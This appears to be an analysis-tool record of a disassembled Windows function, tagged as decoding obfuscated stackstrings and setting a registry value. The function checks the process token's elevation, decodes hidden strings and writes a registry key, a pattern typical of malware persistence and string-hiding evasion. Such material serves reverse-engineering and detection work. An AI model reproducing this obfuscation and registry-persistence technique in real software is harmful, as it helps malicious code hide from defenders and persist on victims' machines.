Function at 0x42ec10
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ac
mov eax, dword [0x465040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x2a8], edx
push eax
xor esi, esi
mov dword [ebp - 0x2a4], ecx
push 8
mov dword [ebp - 0x21c], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x42ec85
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], 4
push eax
push 4
lea eax, [ebp - 0x218]
push eax
push 0x14
push dword [ebp - 0x21c]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [ebp - 0x218]
mov eax, dword [ebp - 0x21c]
test eax, eax
je 0x42ec96
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x42edc8
mov byte [ebp - 0x240], 0
mov ebx, SysReAllocString
mov byte [ebp - 0x23f], 0x2e
mov edi, 0x7f
mov byte [ebp - 0x23e], 0x35
mov byte [ebp - 0x23d], 0x45
mov byte [ebp - 0x23c], 0x35
mov byte [ebp - 0x23b], 0xf
mov byte [ebp - 0x23a], 0x35
mov byte [ebp - 0x239], 0x2f
mov byte [ebp - 0x238], 0x35
mov byte [ebp - 0x237], 3
mov byte [ebp - 0x236], 0x35
mov byte [ebp - 0x235], 0x2c
mov byte [ebp - 0x234], 0x35
mov byte [ebp - 0x233], 0x5d
mov byte [ebp - 0x232], 0x35
mov byte [ebp - 0x231], 0x18
mov byte [ebp - 0x230], 0x35
mov byte [ebp - 0x22f], 0x24
mov byte [ebp - 0x22e], 0x35
mov byte [ebp - 0x22d], 0x6e
mov byte [ebp - 0x22c], 0x35
mov byte [ebp - 0x22b], 0x7d
mov byte [ebp - 0x22a], 0x35
mov byte [ebp - 0x229], 0x30
mov byte [ebp - 0x228], 0x35
mov byte [ebp - 0x227], 0x20
mov byte [ebp - 0x226], 0x35
mov byte [ebp - 0x225], 0x76
mov byte [ebp - 0x224], 0x35
mov byte [ebp - 0x223], 0x35
mov byte [ebp - 0x222], 0x35
mov al, byte [ebp - 0x23f]
mov al, byte [ebp - 0x240]
test al, al
jne 0x42edbd
xor esi, esi
mov al, byte [ebp + esi - 0x23f]
movzx ecx, al
sub ecx, 0x35
mov eax, ecx
shl eax, 5
sub eax, ecx
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x23f], dl
inc esi
cmp esi, 0x1e
jb 0x42ed93
lea eax, [ebp - 0x23f]
jmp 0x42efdc
mov byte [ebp - 0x2a0], 0
mov ebx, SysReAllocString
mov byte [ebp - 0x29f], 0x49
mov edi, 0x7f
mov byte [ebp - 0x29e], 0x5a
mov byte [ebp - 0x29d], 3
mov byte [ebp - 0x29c], 0x5a
mov byte [ebp - 0x29b], 0x59
mov byte [ebp - 0x29a], 0x5a
mov byte [ebp - 0x299], 0x36
mov byte [ebp - 0x298], 0x5a
mov byte [ebp - 0x297], 0x6e
mov byte [ebp - 0x296], 0x5a
mov byte [ebp - 0x295], 0x26
mov byte [ebp - 0x294], 0x5a
mov byte [ebp - 0x293], 0x3b
mov byte [ebp - 0x292], 0x5a
mov byte [ebp - 0x291], 0x1c
mov byte [ebp - 0x290], 0x5a
mov byte [ebp - 0x28f], 0x72
mov byte [ebp - 0x28e], 0x5a
mov byte [ebp - 0x28d], 0x71
mov byte [ebp - 0x28c], 0x5a
mov byte [ebp - 0x28b], 0x4a
mov byte [ebp - 0x28a], 0x5a
mov byte [ebp - 0x289], 0x26
mov byte [ebp - 0x288], 0x5a
mov byte [ebp - 0x287], 0x78
mov byte [ebp - 0x286], 0x5a
mov byte [ebp - 0x285], 0x78
mov byte [ebp - 0x284], 0x5a
mov byte [ebp - 0x283], 0x1c
mov byte [ebp - 0x282], 0x5a
mov byte [ebp - 0x281], 0x78
mov byte [ebp - 0x280], 0x5a
mov byte [ebp - 0x27f], 0x72
mov byte [ebp - 0x27e], 0x5a
mov byte [ebp - 0x27d], 0x3d
mov byte [ebp - 0x27c], 0x5a
mov byte [ebp - 0x27b], 0x78
mov byte [ebp - 0x27a], 0x5a
mov byte [ebp - 0x279], 0x72
mov byte [ebp - 0x278], 0x5a
mov byte [ebp - 0x277], 0x2f
mov byte [ebp - 0x276], 0x5a
mov byte [ebp - 0x275], 0x1c
mov byte [ebp - 0x274], 0x5a
mov byte [ebp - 0x273], 0x59
mov byte [ebp - 0x272], 0x5a
mov byte [ebp - 0x271], 0x26
mov byte [ebp - 0x270], 0x5a
mov byte [ebp - 0x26f], 0x73
mov byte [ebp - 0x26e], 0x5a
mov byte [ebp - 0x26d], 0x4a
mov byte [ebp - 0x26c], 0x5a
mov byte [ebp - 0x26b], 0x36
mov byte [ebp - 0x26a], 0x5a
mov byte [ebp - 0x269], 0x62
mov byte [ebp - 0x268], 0x5a
mov byte [ebp - 0x267], 0x21
mov byte [ebp - 0x266], 0x5a
mov byte [ebp - 0x265], 3
mov byte [ebp - 0x264], 0x5a
mov byte [ebp - 0x263], 0x45
mov byte [ebp - 0x262], 0x5a
mov byte [ebp - 0x261], 0x5a
mov byte [ebp - 0x260], 0x5a
mov al, byte [ebp - 0x29f]
mov al, byte [ebp - 0x2a0]
test al, al
jne 0x42efd6
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x29f]
movzx eax, al
sub eax, 0x5a
imul eax, eax, 0x19
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x29f], dl
inc ecx
cmp ecx, 0x40
jb 0x42efb0
lea eax, [ebp - 0x29f]
push dword [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov byte [ebp - 0x248], 0
add esp, 0xc
mov byte [ebp - 0x247], 7
mov byte [ebp - 0x246], 0x47
mov byte [ebp - 0x245], 0x25
mov byte [ebp - 0x244], 0x47
mov byte [ebp - 0x243], 0x48
mov byte [ebp - 0x242], 0x47
mov byte [ebp - 0x241], 0x6c
mov byte [ebp - 0x240], 0x47
mov byte [ebp - 0x23f], 0x3d
mov byte [ebp - 0x23e], 0x47
mov byte [ebp - 0x23d], 0x31
mov byte [ebp - 0x23c], 0x47
mov byte [ebp - 0x23b], 0x49
mov byte [ebp - 0x23a], 0x47
mov byte [ebp - 0x239], 0x54
mov byte [ebp - 0x238], 0x47
mov byte [ebp - 0x237], 0x3d
mov byte [ebp - 0x236], 0x47
mov byte [ebp - 0x235], 0x2d
mov byte [ebp - 0x234], 0x47
mov byte [ebp - 0x233], 0x6b
mov byte [ebp - 0x232], 0x47
mov byte [ebp - 0x231], 0x10
mov byte [ebp - 0x230], 0x47
mov byte [ebp - 0x22f], 0x48
mov byte [ebp - 0x22e], 0x47
mov byte [ebp - 0x22d], 0x32
mov byte [ebp - 0x22c], 0x47
mov byte [ebp - 0x22b], 8
mov byte [ebp - 0x22a], 0x47
mov byte [ebp - 0x229], 0x2d
mov byte [ebp - 0x228], 0x47
mov byte [ebp - 0x227], 0x21
mov byte [ebp - 0x226], 0x47
mov byte [ebp - 0x225], 0x31
mov byte [ebp - 0x224], 0x47
mov byte [ebp - 0x223], 0x47
mov byte [ebp - 0x222], 0x47
mov al, byte [ebp - 0x247]
mov al, byte [ebp - 0x248]
test al, al
jne 0x42f14a
xor esi, esi
nop word [eax + eax]
mov al, byte [ebp + esi - 0x247]
mov ecx, 0x47
movzx eax, al
sub ecx, eax
imul eax, ecx, 0xb
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x247], dl
inc esi
cmp esi, 0x26
jb 0x42f120
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x247]
push eax
call fcn.00424130
add esp, 8
lea edx, [ebp - 0x210]
mov ecx, ebx
call fcn.0042dec0
mov byte [ebp - 0x250], 0
mov byte [ebp - 0x24f], 0x7e
mov byte [ebp - 0x24e], 0x26
mov byte [ebp - 0x24d], 0x4a
mov byte [ebp - 0x24c], 0x26
mov byte [ebp - 0x24b], 0x6e
mov byte [ebp - 0x24a], 0x26
mov byte [ebp - 0x249], 0x52
mov byte [ebp - 0x248], 0x26
mov byte [ebp - 0x247], 0x58
mov byte [ebp - 0x246], 0x26
mov byte [ebp - 0x245], 0x6e
mov byte [ebp - 0x244], 0x26
mov byte [ebp - 0x243], 8
mov byte [ebp - 0x242], 0x26
mov byte [ebp - 0x241], 0x19
mov byte [ebp - 0x240], 0x26
mov byte [ebp - 0x23f], 0x6e
mov byte [ebp - 0x23e], 0x26
mov byte [ebp - 0x23d], 0x7b
mov byte [ebp - 0x23c], 0x26
mov byte [ebp - 0x23b], 8
mov byte [ebp - 0x23a], 0x26
mov byte [ebp - 0x239], 0x2b
mov byte [ebp - 0x238], 0x26
mov byte [ebp - 0x237], 0x51
mov byte [ebp - 0x236], 0x26
mov byte [ebp - 0x235], 8
mov byte [ebp - 0x234], 0x26
mov byte [ebp - 0x233], 0x54
mov byte [ebp - 0x232], 0x26
mov byte [ebp - 0x231], 8
mov byte [ebp - 0x230], 0x26
mov byte [ebp - 0x22f], 0x2b
mov byte [ebp - 0x22e], 0x26
mov byte [ebp - 0x22d], 0x67
mov byte [ebp - 0x22c], 0x26
mov byte [ebp - 0x22b], 0x5c
mov byte [ebp - 0x22a], 0x26
mov byte [ebp - 0x229], 8
mov byte [ebp - 0x228], 0x26
mov byte [ebp - 0x227], 0x2b
mov byte [ebp - 0x226], 0x26
mov byte [ebp - 0x225], 0x67
mov byte [ebp - 0x224], 0x26
mov byte [ebp - 0x223], 0x26
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 0x222], 0x26
mov al, byte [ebp - 0x24f]
mov al, byte [ebp - 0x250]
test al, al
jne 0x42f2fc
xor esi, esi
nop
mov al, byte [ebp + esi - 0x24f]
mov ecx, 0x26
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*8]
add eax, eax
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x24f], dl
inc esi
cmp esi, 0x2e
jb 0x42f2d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x2a4]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x24f]
push eax
call fcn.00424130
add esp, 0x10
push dword [ebp - 0x2a8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
lea eax, [ebp - 0x21c]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x210]
add esi, esi
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x42f35a
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor bl, bl
jmp 0x42f39f
mov ebx, dword [ebp - 0x2a8]
push esi
push ebx
push 0
push 0x461ca8
call fcn.00424130
add esp, 0x10
push esi
push ebx
push 1
push 0
push 0
push dword [ebp - 0x21c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x21c]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
sete bl
mov byte [ebp - 0x254], 0
mov byte [ebp - 0x253], 0x7c
mov byte [ebp - 0x252], 0x21
mov byte [ebp - 0x251], 0x51
mov byte [ebp - 0x250], 0x21
mov byte [ebp - 0x24f], 0x18
mov byte [ebp - 0x24e], 0x21
mov byte [ebp - 0x24d], 0xd
mov byte [ebp - 0x24c], 0x21
mov byte [ebp - 0x24b], 0xf
mov byte [ebp - 0x24a], 0x21
mov byte [ebp - 0x249], 0x72
mov byte [ebp - 0x248], 0x21
mov byte [ebp - 0x247], 0x2b
mov byte [ebp - 0x246], 0x21
mov byte [ebp - 0x245], 0x7b
mov byte [ebp - 0x244], 0x21
mov byte [ebp - 0x243], 0xd
mov byte [ebp - 0x242], 0x21
mov byte [ebp - 0x241], 0x68
mov byte [ebp - 0x240], 0x21
mov byte [ebp - 0x23f], 0x47
mov byte [ebp - 0x23e], 0x21
mov byte [ebp - 0x23d], 0x72
mov byte [ebp - 0x23c], 0x21
mov byte [ebp - 0x23b], 0x72
mov byte [ebp - 0x23a], 0x21
mov byte [ebp - 0x239], 0x51
mov byte [ebp - 0x238], 0x21
mov byte [ebp - 0x237], 0x68
mov byte [ebp - 0x236], 0x21
mov byte [ebp - 0x235], 0x68
mov byte [ebp - 0x234], 0x21
mov byte [ebp - 0x233], 0xd
mov byte [ebp - 0x232], 0x21
mov byte [ebp - 0x231], 0x6a
mov byte [ebp - 0x230], 0x21
mov byte [ebp - 0x22f], 0xd
mov byte [ebp - 0x22e], 0x21
mov byte [ebp - 0x22d], 0x79
mov byte [ebp - 0x22c], 0x21
mov byte [ebp - 0x22b], 0x22
mov byte [ebp - 0x22a], 0x21
mov byte [ebp - 0x229], 0x45
mov byte [ebp - 0x228], 0x21
mov byte [ebp - 0x227], 0xd
mov byte [ebp - 0x226], 0x21
mov byte [ebp - 0x225], 0x79
mov byte [ebp - 0x224], 0x21
mov byte [ebp - 0x223], 0x22
mov byte [ebp - 0x222], 0x21
mov byte [ebp - 0x221], 0x21
mov byte [ebp - 0x220], 0x21
mov al, byte [ebp - 0x253]
mov al, byte [ebp - 0x254]
test al, al
jne 0x42f55a
xor esi, esi
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + esi - 0x253]
mov ecx, 0x21
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x1b
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x253], dl
inc esi
cmp esi, 0x34
jb 0x42f530
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
movzx ecx, bl
lea eax, [ebp - 0x253]
push ecx
push eax
call fcn.00424130
mov ecx, dword [ebp - 4]
add esp, 0xc
mov al, bl
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00437671
mov esp, ebp
pop ebp
ret